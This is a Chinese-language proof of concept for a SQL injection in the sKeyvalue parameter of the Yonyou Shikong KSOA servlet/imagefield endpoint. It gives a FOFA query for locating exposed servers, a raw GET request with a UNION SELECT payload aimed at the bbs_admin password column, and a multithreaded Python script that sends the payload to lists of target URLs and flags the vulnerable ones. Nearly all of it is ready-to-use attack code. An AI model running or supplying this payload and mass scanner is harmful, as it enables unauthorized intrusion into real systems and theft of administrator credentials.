用友时空 KSOA servletimagefield 文件 sKeyvalue 参数SQL注入

用友时空 KSOA servletimagefield 文件 sKeyvalue 参数SQL注入

FOFA：app="用友-时空KSOA"

复现步骤

GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko) 
Accept-Encoding: gzip, deflate
Connection: close 

批量脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Time       : 2023/9/28 16:06
# Author     : yunkong
# FileName   : KSOA_servletimagefield_sKeyvalue_SQL.py
# Description:


import argparse
import requests
import concurrent.futures


def send_get_request(target_url):
    URI = "/servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko)",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "close"
    }

    try:
        response = requests.get(target_url + URI, headers=headers)
        if response.status_code == 200 and "0x098f6bcd4621d373cade4e832627b4f6" in response.text:
            print("[+] Request successful for:", target_url)
            # print(response.text)
        else:
            print("[-] Request failed with status code for:", target_url)
    except requests.exceptions.RequestException as e:
        print("[-] Error for:", target_url)


def main():
    parser = argparse.ArgumentParser(description="Send GET requests to target URLs")
    parser.add_argument("-u", "--url", help="Single target URL")
    parser.add_argument("-U", "--url-file", help="File containing multiple target URLs")
    args = parser.parse_args()

    if args.url:
        send_get_request(args.url)
    elif args.url_file:
        with open(args.url_file, 'r') as url_file:
            url_list = [line.strip() for line in url_file]

        with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
            for url in url_list:
                executor.submit(send_get_request, url)
    else:
        parser.print_help()


if __name__ == '__main__':
    main()